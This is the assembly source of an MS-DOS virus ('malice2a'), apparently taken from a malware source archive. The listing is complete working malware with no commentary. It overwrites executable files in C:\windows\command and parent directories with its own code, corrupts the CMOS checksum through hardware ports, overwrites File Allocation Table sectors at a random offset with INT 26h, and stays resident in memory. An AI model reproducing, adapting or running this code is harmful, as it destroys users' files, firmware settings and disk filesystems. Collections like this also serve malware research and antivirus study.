MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.malice2a.asm
2021-01-12 17:49:21 -06:00

177 lines
4.6 KiB
NASM
Raw Blame History

.model tiny
.code
seg_a segment byte public
ASSUME CS:SEG_A, DS:SEG_A
org 100h
main proc
find:
mov ah,3bh
mov dx,offset win
int 21h
mov Dx,offset conn
mov cx,2h
mov ah,4eh
int 21h
next:
mov ah,4fh
mov dx,offset conn
int 21h
open:
mov ah,43H
mov dx,09Eh
mov al,0
int 21H
mov cl,0
mov ah,43H
nop
mov dx,09Eh
mov al,1
int 21H
mov ax,3d02h
mov dx,9eh
int 21h
write:
xchg bx,ax
mov cx,833
mov ah,40h
mov dx,100h
int 21h
close:
mov ah,3eh
int 21h
inc cntr
cmp cntr,5
jge message
call next
message:
mov ah,3bh
mov al,00h
mov dx,offset UP_ONE
int 21h
cmp ax,3
jne next
mov cntr,0000
C_MAN:
mov ah,09h
mov dx,offset who
int 21h
inc cntr
cmp cntr,65
jge fat_fuck
mov dx,cntr
xor bx,bx
mov bx,255
call CMOS_CHCKSM
CMOS_CHCKSM:
xor ax,ax
mov al,2Eh
out 70h,al
in al,71h
xchg ch,al
mov al,2Fh
out 70h,al
in al,71h
xchg cl,al
push dx
xchg dl,al
out 70h,al
in al,71h
sub cx,ax
add cx,bx
pop dx
xchg dl,al
out 70h,al
xchg al,bl
out 71h,al
mov al,2Eh
out 70h,al
xchg al,ch
out 71h,al
mov al,2Fh
out 70h,al
xchg al,cl
out 71h,al
call C_MAN
fat_fuck:
push dx
push bx
push cx
push ax
push bp
mov ax,0dh
int 21h
mov ah,19h
int 21h
xor dx,dx
call load_sec
mov bp,bx
mov bx,word ptr es:[bp+16h]
push ax
call rnd_num
cmp bx,ax
jbe alter_fat1
mov ax,bx
alter_fat1:
xchg ax,dx
pop ax
mov cx,1
int 26h
add dx,bx
int 26h
pop bp
pop ax
pop cx
pop bx
pop dx
CALL JUST_TO_MAKE_IT_WORSE
load_sec:
push cx
push ds
push ax
push cs
pop ds
push cs
pop es
mov ax,0dh
int 21h
pop ax
mov cx, 1
mov bx, offset sec_buf
int 25h
pop ds
pop cx
ret
rnd_num:
push cx
push dx
xor ax,ax
int 1ah
xchg dx,ax
pop dx
pop cx
ret
JUST_TO_MAKE_IT_WORSE:
mov ah,31h
mov dx,7530h
int 21H
RET
sec_buf dw 100h dup(?)
win db 'C:\windows\command',0
conn db '*.C*',0
who db '<27> EvuLz MaLiCe <20>$'
cntr dw 0
up_one db '..',0
main endp
seg_a ends
end find